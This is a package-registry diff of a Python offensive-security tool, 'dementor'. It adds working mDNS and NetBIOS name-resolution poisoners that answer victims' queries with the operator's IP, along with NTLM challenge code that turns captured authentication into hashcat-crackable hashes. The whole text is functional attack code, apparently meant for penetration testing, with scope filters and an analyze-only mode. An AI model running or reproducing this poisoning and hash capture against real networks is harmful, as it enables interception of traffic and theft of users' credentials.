dementor 1.0.0.dev0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,195 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
20
+ import socket
21
+ import struct
22
+
23
+ from scapy.layers import dns
24
+
25
+ from dementor.filters import BlacklistConfigMixin, WhitelistConfigMixin, in_scope
26
+ from dementor.logger import ProtocolLogger
27
+ from dementor.servers import ThreadingUDPServer, BaseProtoHandler, ServerThread
28
+ from dementor.config import TomlConfig, SessionConfig, Attribute as A
29
+
30
+ MDNS_IPV4_ADDR = "224.0.0.251"
31
+ MDNS_IPV6_ADDR = "ff02::fb"
32
+
33
+ QTYPES = {name: value for value, name in dns.dnsqtypes.items()}
34
+
35
+
36
+ def apply_config(session: SessionConfig) -> None:
37
+ session.mdns_config = TomlConfig.build_config(MDNSConfig)
38
+
39
+
40
+ def create_server_threads(session: SessionConfig) -> list:
41
+ if not session.mdns_config.enabled:
42
+ return []
43
+
44
+ return [ServerThread(session, MDNSServer)]
45
+
46
+
47
+ def normalized_name(host: str | bytes) -> str:
48
+ if isinstance(host, (bytes, bytearray)):
49
+ host = host.decode("utf-8", errors="replace")
50
+
51
+ return str(host).strip().removesuffix(".")
52
+
53
+
54
+ class MDNSConfig(TomlConfig, BlacklistConfigMixin, WhitelistConfigMixin):
55
+ _section_ = "mDNS"
56
+ _fields_ = (
57
+ [
58
+ A("enabled", "Dementor.mDNS", True),
59
+ A("mdns_ttl", "TTL", 120),
60
+ A("mdns_max_labels", "MaxLabels", 1),
61
+ A("mdns_qtypes", "AllowedQueryTypes", [1, 28, 255]), # A, AAAA, ANY
62
+ ]
63
+ + BlacklistConfigMixin._extra_fields_
64
+ + WhitelistConfigMixin._extra_fields_
65
+ )
66
+
67
+ def set_mdns_qtypes(self, value: list):
68
+ # REVISIT: maybe add error check here
69
+ self.mdns_qtypes = [x if isinstance(x, int) else QTYPES[x] for x in value]
70
+
71
+
72
+ # MDNS / LLMNR Answer Packet
73
+ def build_dns_answer(req_id: int, question: dns.DNSQR, config: SessionConfig):
74
+ answer = dns.DNSRR(
75
+ rrname=question.qname,
76
+ ttl=config.mdns_config.mdns_ttl or 120, # default is two minutes
77
+ cacheflush=False, # TODO: maybe change in config
78
+ )
79
+
80
+ # we assume here that the local address is set
81
+ if question.qtype == 28: # AAAA
82
+ answer.type = 28
83
+ answer.rdata = config.ipv6
84
+ else: # A
85
+ answer.type = 1
86
+ answer.rdata = config.ipv4
87
+
88
+ return dns.DNS(
89
+ id=req_id, # use request id from query
90
+ aa=1, # server is authority
91
+ rd=0, # do not query recursively
92
+ qr=1,
93
+ qd=[], # questions
94
+ ar=[], # additional records
95
+ an=[answer],
96
+ )
97
+
98
+
99
+ class MDNSPoisoner(BaseProtoHandler):
100
+ def proto_logger(self):
101
+ return ProtocolLogger(
102
+ extra={
103
+ "protocol": "MDNS",
104
+ "protocol_color": "deep_sky_blue1",
105
+ "host": self.client_host,
106
+ "port": self.client_port,
107
+ }
108
+ )
109
+
110
+ def should_answer_request(self, question: dns.DNSQR) -> bool:
111
+ # normally, the target hostname has only one node
112
+ normalized_qname = normalized_name(question.qname)
113
+ if normalized_qname.count(".") > self.config.mdns_config.mdns_max_labels:
114
+ return False
115
+
116
+
117
+ if question.qtype not in self.config.mdns_config.mdns_qtypes: # A, AAAA, ANY
118
+ return False
119
+
120
+ # source host will be checked too
121
+ source = self.client_host
122
+ config = self.config.mdns_config
123
+ return in_scope(normalized_qname, config) and in_scope(source, config)
124
+
125
+ def handle_data(self, data: bytes, transport) -> None:
126
+ packet = dns.DNS(data)
127
+ if packet.qdcount > 0:
128
+ # request sent by client
129
+ for question in packet.qd:
130
+ qname = question.qname.decode(errors="replace")
131
+ qtype = dns.dnsqtypes.get(question.qtype)
132
+ qclass = dns.dnsclasses.get(question.qclass)
133
+ # only .local names are targets
134
+ normalized_qname = normalized_name(question.qname)
135
+ if not normalized_qname.endswith(".local"):
136
+ continue
137
+
138
+ if self.should_answer_request(question):
139
+ self.logger.display(
140
+ f"Request for [i]{normalized_name(qname)}[/i] (class: {qclass}, "
141
+ f"type: {qtype})"
142
+ )
143
+ if self.config.analysis:
144
+ # Analyze-only mode
145
+ continue
146
+ self.send_poisoned_answer(packet, question, transport)
147
+ # REVISIT: maybe log ignored requests
148
+ # else:
149
+ # self.logger.display(
150
+ # f"[b]Ignoring[/b] request for [i]{normalized_name(qname)}[/i] (class: {qclass}, "
151
+ # f"type: {qtype})"
152
+ # )
153
+
154
+ def send_poisoned_answer(self, req, question: dns.DNSQR, transport) -> None:
155
+ # check if we can send a response
156
+ if question.qtype == 28 and not self.config.ipv6:
157
+ self.logger.highlight(
158
+ "Client requested AAAA record (IPv6) but local config does not "
159
+ "specify IPv6 address. Ignoring..."
160
+ )
161
+ return
162
+
163
+ if question.qtype == 1 and not self.config.ipv4:
164
+ self.logger.highlight(
165
+ "Client requested A record (IPv4) but local config does not "
166
+ "specify IPv4 address. Ignoring..."
167
+ )
168
+ return
169
+
170
+ # build response packet with our IP in answer RR
171
+ response = build_dns_answer(req.id, question, self.config)
172
+ transport.sendto(response.build(), self.client_address)
173
+ self.logger.success(f"Sent poisoned answer to {self.client_host}")
174
+
175
+
176
+ class MDNSServer(ThreadingUDPServer):
177
+ default_port = 5353
178
+ default_handler_class = MDNSPoisoner
179
+ service_name = "mDNS"
180
+
181
+ def server_bind(self) -> None:
182
+ self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
183
+ self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
184
+
185
+ if self.config.ipv4:
186
+ # join IPv4 mDNS multicast group
187
+ mreq = socket.inet_aton(MDNS_IPV4_ADDR) + socket.inet_aton(self.config.ipv4)
188
+ self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
189
+
190
+ if self.config.ipv6:
191
+ mreq = socket.inet_pton(socket.AF_INET6, MDNS_IPV6_ADDR)
192
+ mreq += struct.pack("@I", socket.if_nametoindex(self.config.interface))
193
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
194
+
195
+ super().server_bind()
@@ -0,0 +1,243 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
20
+ from typing import List
21
+ from scapy.layers import netbios, smb
22
+
23
+ from dementor.servers import BaseProtoHandler, ServerThread, ThreadingUDPServer
24
+ from dementor.logger import ProtocolLogger
25
+ from dementor.config import SessionConfig, TomlConfig
26
+ from dementor.filters import BlacklistConfigMixin, WhitelistConfigMixin, in_scope
27
+
28
+
29
+ class NBTNSConfig(TomlConfig, BlacklistConfigMixin, WhitelistConfigMixin):
30
+ _section_ = "NetBIOS"
31
+ _fields_ = BlacklistConfigMixin._extra_fields_ + WhitelistConfigMixin._extra_fields_
32
+
33
+
34
+ def apply_config(session: SessionConfig) -> None:
35
+ session.netbiosns_config = TomlConfig.build_config(NBTNSConfig)
36
+
37
+
38
+ def create_server_threads(session) -> list:
39
+ servers = []
40
+ if session.nbtns_enabled:
41
+ servers.append(ServerThread(session, NetBiosNSServer))
42
+
43
+ if session.nbtds_enabled:
44
+ servers.append(ServerThread(session, NetBiosDatagramService))
45
+
46
+ return servers
47
+
48
+
49
+ # Scapy _NETBIOS_SUFFIXES is not complete, See:
50
+ # http://www.pyeung.com/pages/microsoft/winnt/netbioscodes.html
51
+ # _NETBIOS_SUFFIXES = {
52
+ # # Unique (U):
53
+ # 0x4141: "Workstation",
54
+ # 0x4141 + 0x01: "Messenger Service",
55
+ # 0x4141 + 0x03: "Messenger Service",
56
+ # 0x4141 + 0x06: "RAS Server Service",
57
+ # 0x4141 + 0x1B: "Exchange MTA",
58
+ # 0x4141 + 0x1F: "NetDDE Service",
59
+ # 0x4141 + 0x20: "File Server Service",
60
+ # 0x4141 + 0x21: "RAS Client Service",
61
+ # 0x4141 + 0x22: "Exchange Interchange Service",
62
+ # 0x4141 + 0x23: "Exchange Store",
63
+ # 0x4141 + 0x24: "Exchange Directory",
64
+ # 0x4141 + 0x30: "Modern Sharing Server Service",
65
+ # 0x4141 + 0x31: "Modern Sharing Client Service",
66
+ # 0x4141 + 0x43: "SMS Client Remote Control",
67
+ # 0x4141 + 0x44: "SMS Admin Remote Control Tool",
68
+ # 0x4141 + 0x45: "SMS Client Remote Chat",
69
+ # 0x4141 + 0x46: "SMS Client Remote Transfer",
70
+ # 0x4141 + 0x4C: "DEC Pathworks TCP/IP Service",
71
+ # 0x4141 + 0x52: "DEC Pathworks TCP/IP Service",
72
+ # 0x4141 + 0x6A: "Exchange IMC",
73
+ # 0x4141 + 0x87: "Exchange MTA",
74
+ # 0x4141 + 0xBE: "Network Monitor Agent",
75
+ # 0x4141 + 0xBF: "Network Monitor Apps",
76
+ # }
77
+
78
+
79
+ class NetBiosNSPoisoner(BaseProtoHandler):
80
+ def proto_logger(self):
81
+ return ProtocolLogger(
82
+ extra={
83
+ "protocol": "NetBIOS",
84
+ "protocol_color": "gold3",
85
+ "host": self.client_host,
86
+ "port": 137,
87
+ }
88
+ )
89
+
90
+ def handle_data(self, data: bytes, transport) -> None:
91
+ header = netbios.NBNSHeader(data)
92
+ if header.RESPONSE:
93
+ # response sent by server, ignore
94
+ return
95
+
96
+ if header.OPCODE == 0x0:
97
+ # name query --> this is what we are looking for
98
+ request = header[netbios.NBNSQueryRequest]
99
+ suffix = netbios._NETBIOS_SUFFIXES.get(
100
+ request.SUFFIX,
101
+ hex(request.SUFFIX - 0x4141),
102
+ )
103
+ qrtype = netbios._NETBIOS_QRTYPES.get(
104
+ request.QUESTION_TYPE,
105
+ request.QUESTION_TYPE,
106
+ )
107
+ name = request.QUESTION_NAME.decode("utf-8", errors="replace")
108
+
109
+ self.logger.display(f"Name Query: \\\\{name} ({suffix}) (qtype: {qrtype})")
110
+ if self.config.analysis:
111
+ # Analyze-only mode
112
+ return
113
+
114
+ # send answer if in scopre
115
+ if not in_scope(name, self.config.netbiosns_config) or not in_scope(
116
+ self.client_host, self.config.netbiosns_config
117
+ ):
118
+ return
119
+
120
+ answer = self.build_answer(request, header.NAME_TRN_ID)
121
+ transport.sendto(answer.build(), self.client_address)
122
+ self.logger.success(f"Sent poisoned answer to {self.client_host}")
123
+
124
+ def build_answer(self, request, trn_id):
125
+ # simply put our IPv4 address into the answer section
126
+ response = netbios.NBNSHeader() / netbios.NBNSQueryResponse(
127
+ RR_NAME=request.QUESTION_NAME,
128
+ SUFFIX=request.SUFFIX,
129
+ ADDR_ENTRY=[netbios.NBNS_ADD_ENTRY(NB_ADDRESS=self.config.ipv4)],
130
+ )
131
+
132
+ response.NAME_TRN_ID = trn_id
133
+ return response
134
+
135
+
136
+ # Unfortunately, Scapy does not define the ServerType flags for [MS-BRWS]. See:
137
+ # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rap/2258bd8d-f17b-45a9-a75e-3e770bc3ad07
138
+ _BWRS_SERVER_TYPES = {
139
+ (1 << 0): "Workstation", # SV_TYPE_WORKSTATION
140
+ (1 << 1): "Server", # SV_TYPE_SERVER
141
+ (1 << 2): "SQL Server", # SV_TYPE_SQLSERVER
142
+ (1 << 3): "Domain Controller", # SV_TYPE_DOMAIN_CTRL
143
+ (1 << 4): "Backup Domain Controller", # SV_TYPE_DOMAIN_BAKCTRL
144
+ (1 << 5): "Time Source", # SV_TYPE_TIME_SOURCE
145
+ (1 << 6): "Apple File Protocol Server", # SV_TYPE_AFP
146
+ (1 << 7): "Novell Server", # SV_TYPE_NOVELL
147
+ (1 << 8): "Domain Member", # SV_TYPE_DOMAIN_MEMBER
148
+ (1 << 9): "Print Queue Server", # SV_TYPE_PRINTQ_SERVER
149
+ (1 << 10): "Dial-in Server", # SV_TYPE_DIALIN_SERVER
150
+ (1 << 11): "XENIX / UNIX Server", # SV_TYPE_XENIX
151
+ (1 << 12): "NT Workstation", # SV_TYPE_NT
152
+ (1 << 13): "WFW Server", # SV_TYPE_WFW
153
+ (1 << 14): "NetWare", # SV_TYPE_SERVER_MFPN
154
+ (1 << 15): "NT Server", # SV_TYPE_NT_SERVER
155
+ (1 << 16): "Browser Server", # SV_TYPE_POTENTIAL_BROWSER
156
+ (1 << 17): "Backup Browser Server", # SV_TYPE_BACKUP_BROWSER
157
+ (1 << 18): "Master Browser Server", # SV_TYPE_MASTER_BROWSER
158
+ (1 << 19): "Domain Master Browser Server", # SV_TYPE_DOMAIN_MASTER
159
+ (1 << 20): "W9indows95+", # SV_TYPE_WINDOWS
160
+ (1 << 21): "DFS", # SV_TYPE_DFS
161
+ (1 << 22): "Server Clusters", # SV_TYPE_CLUSTER_NT
162
+ (1 << 23): "Terminal Server", # SV_TYPE_TERMINAL_SERVER
163
+ (1 << 24): "Virtual Server Clusters", # SV_TYPE_CLUSTER_VS_NT
164
+ (1 << 25): "IBM DSS", # SV_TYPE_DCE
165
+ # other flags are not relevant here
166
+ }
167
+
168
+
169
+ class NetBiosDSPoisoner(BaseProtoHandler):
170
+ def proto_logger(self) -> ProtocolLogger:
171
+ return ProtocolLogger(
172
+ extra={
173
+ "protocol": "Browser",
174
+ "protocol_color": "light_goldenrod3",
175
+ "host": self.client_host,
176
+ "port": 138,
177
+ }
178
+ )
179
+
180
+ def get_browser_server_types(self, server_type: int) -> List[str]:
181
+ mask = 1
182
+ value = server_type
183
+ server_types = []
184
+ while value > 0:
185
+ if value & 1 and mask in _BWRS_SERVER_TYPES:
186
+ server_types.append(_BWRS_SERVER_TYPES[mask])
187
+ mask <<= 1
188
+ value >>= 1
189
+
190
+ return server_types
191
+
192
+ def handle_data(self, data: bytes, transport) -> None:
193
+ # we're just her to inspect packets, no poisoning
194
+ datagram = netbios.NBTDatagram(data)
195
+
196
+ if not datagram.haslayer(smb.SMB_Header):
197
+ # probably something else, ignore that
198
+ return
199
+
200
+ source_name = datagram.SourceName.decode("utf-8", errors="replace")
201
+ # destination is not necessary as it should be the local master browser
202
+
203
+ transaction = datagram[smb.SMBMailslot_Write]
204
+ slot_name = transaction.Name.decode("utf-8", errors="replace")
205
+ if slot_name != "\\MAILSLOT\\BROWSE":
206
+ # not a browser request, ignore
207
+ return
208
+
209
+ buffer = transaction.Buffer
210
+ if len(buffer) < 1 and len(buffer[0]) != 2:
211
+ # REVISIT: maybe log that
212
+ return
213
+
214
+ brws: smb.BRWS = transaction.Buffer[0][1]
215
+ # only inspect HostAnnouncement for now
216
+ if brws.OpCode != 0x01:
217
+ return
218
+
219
+ source_types = self.get_browser_server_types(brws.ServerType)
220
+ if len(source_types) > 3:
221
+ # REVISIT: maybe add complete logging output if --debug is active
222
+ source_types = source_types[:3] + ["..."]
223
+
224
+ fmt_source_types = ", ".join([f"[b]{t}[/b]" for t in source_types])
225
+ source_version = f"{brws.OSVersionMajor}.{brws.OSVersionMinor}"
226
+ self.logger.display(
227
+ f"HostAnnouncement: [i]{source_name}[/i] (Version: [bold blue]{source_version}[/bold blue]) "
228
+ f"({fmt_source_types})"
229
+ )
230
+
231
+
232
+ class NetBiosNSServer(ThreadingUDPServer):
233
+ default_port = 137 # name service
234
+ default_handler_class = NetBiosNSPoisoner
235
+ ipv4_only = True
236
+ service_name = "NetBIOS-NS"
237
+
238
+
239
+ class NetBiosDatagramService(ThreadingUDPServer):
240
+ default_port = 138 # datagram service
241
+ default_handler_class = NetBiosDSPoisoner
242
+ ipv4_only = True
243
+ service_name = "NetBIOS-DS"
@@ -0,0 +1,200 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
20
+ import struct
21
+ import time
22
+ import calendar
23
+ import secrets
24
+
25
+ from typing import Tuple
26
+ from impacket import ntlm
27
+
28
+ from dementor.config import SessionConfig, get_value
29
+
30
+
31
+ def apply_config(session: SessionConfig) -> None:
32
+ challenge = get_value("NTLM", "Challenge", default=None)
33
+ if challenge is None:
34
+ challenge = secrets.token_hex(16)
35
+ else:
36
+ try:
37
+ session.ntlm_challange = bytes.fromhex(challenge)
38
+ except ValueError:
39
+ session.ntlm_challange = challenge.encode()
40
+
41
+ session.ntlm_ess = get_value("NTLM", "ExtendedSessionSecurity", default=True)
42
+
43
+
44
+ def NTLM_AUTH_decode_string(data: bytes, flags: int, force_ascii: bool = False) -> str:
45
+ encoding = "cp437" # unclear, maybe change to ASCII
46
+ if flags & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
47
+ encoding = "utf-16le"
48
+
49
+ # The domain name and workstation are always OEM encoded.
50
+ if force_ascii:
51
+ encoding = "ascii"
52
+
53
+ return data.decode(encoding)
54
+
55
+
56
+ def NTLM_AUTH_encode_string(string: str, target_flags: int) -> bytes:
57
+ encoding = "cp437"
58
+ if target_flags & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
59
+ encoding = "utf-16le"
60
+
61
+ return string.encode(encoding)
62
+
63
+
64
+ def NTLM_AUTH_format_host(
65
+ token: ntlm.NTLMAuthNegotiate,
66
+ ) -> str:
67
+ target_domain_name: bytes = token["domain_name"]
68
+ target_host_name: bytes = token["host_name"]
69
+ os_version: ntlm.VERSION = token["os_version"]
70
+ neg_flags = token["flags"]
71
+
72
+ hostname = NTLM_AUTH_decode_string(target_host_name, neg_flags, True)
73
+ domain = NTLM_AUTH_decode_string(target_domain_name, neg_flags, True)
74
+
75
+ target_format = hostname or "<UNKNOWN>"
76
+ domain = domain or "<UNKNOWN>"
77
+ target_format = f"{target_format} (domain: {domain})"
78
+
79
+ major = os_version["ProductMajorVersion"]
80
+ minor = os_version["ProductMinorVersion"]
81
+ build = os_version["ProductBuild"]
82
+ return f"{target_format} (OS: {major}.{minor}.{build})"
83
+
84
+
85
+ def NTLM_AUTH_to_hashcat_format(
86
+ challenge: bytes,
87
+ user_name: bytes | str,
88
+ domain_name: bytes | str,
89
+ lanman: bytes,
90
+ ntlm_data: bytes,
91
+ session_flags: int,
92
+ ) -> Tuple[str, str]:
93
+ # converts the given NTLM Authentication message parameters into a crackable format
94
+
95
+ # first, check for SSP
96
+ if session_flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
97
+ version = "NTLMv1-SSP" if len(ntlm_data) == 24 else "NTLMv2-SSP"
98
+ else:
99
+ version = "NTLMv1" if len(ntlm_data) == 24 else "NTLMv2"
100
+
101
+ if isinstance(user_name, bytes):
102
+ user_name = NTLM_AUTH_decode_string(user_name, session_flags)
103
+ if isinstance(domain_name, bytes):
104
+ domain_name = NTLM_AUTH_decode_string(domain_name, session_flags)
105
+
106
+ if len(ntlm_data) > 24:
107
+ value = "%s::%s:%s:%s:%s" % (
108
+ user_name,
109
+ domain_name,
110
+ challenge.hex(),
111
+ ntlm_data.hex()[:32],
112
+ ntlm_data.hex()[32:],
113
+ )
114
+ else:
115
+ value = "%s::%s:%s:%s:%s" % (
116
+ user_name,
117
+ domain_name,
118
+ lanman.hex(),
119
+ ntlm_data.hex(),
120
+ challenge.hex(),
121
+ )
122
+
123
+ return (version, value)
124
+
125
+
126
+ def NTLM_new_timestamp() -> int:
127
+ return 116444736000000000 + calendar.timegm(time.gmtime()) * 10000000
128
+
129
+
130
+ def NTLM_AUTH_CreateChallenge(
131
+ token: ntlm.NTLMAuthNegotiate,
132
+ name: str,
133
+ domain: str,
134
+ challenge: bytes,
135
+ disable_ess: bool = False,
136
+ ) -> ntlm.NTLMAuthChallenge:
137
+ neg_flags = token["flags"]
138
+ ans_flags = (
139
+ # T (1 bit): If set, requests the protocol version number.
140
+ ntlm.NTLMSSP_NEGOTIATE_VERSION
141
+ # S (1 bit): If set, indicates that the TargetInfo fields in the CHALLENGE_MESSAGE
142
+ | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO
143
+ | ntlm.NTLMSSP_TARGET_TYPE_SERVER
144
+ | ntlm.NTLMSSP_REQUEST_TARGET
145
+ )
146
+
147
+ # H (1 bit): If set, requests usage of the NTLM v1 session security protocol. NTLMSSP_NEGOTIATE_NTLM MUST
148
+ # be set in the token to the server and the CHALLENGE_MESSAGE to the client.
149
+ if neg_flags & ntlm.NTLMSSP_NEGOTIATE_NTLM:
150
+ ans_flags |= ntlm.NTLMSSP_NEGOTIATE_NTLM
151
+
152
+ for flag in (
153
+ ntlm.NTLMSSP_NEGOTIATE_UNICODE,
154
+ ntlm.NTLM_NEGOTIATE_OEM,
155
+ # If set, requests 56-bit encryption.
156
+ ntlm.NTLMSSP_NEGOTIATE_56,
157
+ # If set, requests 128-bit session key negotiation.
158
+ ntlm.NTLMSSP_NEGOTIATE_128,
159
+ # If set, requests an explicit key exchange.
160
+ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH,
161
+ # If set, requests session key negotiation for message signatures.
162
+ ntlm.NTLMSSP_NEGOTIATE_SIGN,
163
+ ):
164
+ # make sure to use the options from the client
165
+ if neg_flags & flag:
166
+ ans_flags |= flag
167
+
168
+ # If set, requests usage of the NTLM v2 session security. NTLM v2 session security is a misnomer because
169
+ # it is not NTLM v2. It is NTLM v1 using the extended session security that is also in NTLM v2.
170
+ for flag in (
171
+ ntlm.NTLMSSP_NEGOTIATE_NTLM2,
172
+ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY,
173
+ ):
174
+ if neg_flags & flag and not disable_ess:
175
+ ans_flags |= flag
176
+
177
+ server_name = NTLM_AUTH_encode_string(name, ans_flags)
178
+ server_domain = NTLM_AUTH_encode_string(domain, ans_flags)
179
+ av_pairs = ntlm.AV_PAIRS()
180
+ av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] = server_name
181
+ av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] = server_name
182
+ av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] = server_domain
183
+ av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] = server_domain
184
+ av_pairs[ntlm.NTLMSSP_AV_TIME] = struct.pack("<q", NTLM_new_timestamp())
185
+
186
+ # now we can build the challenge using the answer flags
187
+ ntlm_challenge = ntlm.NTLMAuthChallenge()
188
+ ntlm_challenge["flags"] = ans_flags
189
+ ntlm_challenge["domain_len"] = len(server_domain)
190
+ ntlm_challenge["domain_max_len"] = ntlm_challenge["domain_len"]
191
+ ntlm_challenge["domain_offset"] = 40 + 16
192
+ ntlm_challenge["challenge"] = challenge
193
+ ntlm_challenge["domain_name"] = server_domain
194
+ ntlm_challenge["TargetInfoFields_len"] = len(av_pairs)
195
+ ntlm_challenge["TargetInfoFields_max_len"] = len(av_pairs)
196
+ ntlm_challenge["TargetInfoFields"] = av_pairs
197
+ ntlm_challenge["TargetInfoFields_offset"] = 40 + 16 + len(server_domain)
198
+ ntlm_challenge["Version"] = b"\xff" * 8 # must be blank here
199
+ ntlm_challenge["VersionLen"] = 8
200
+ return ntlm_challenge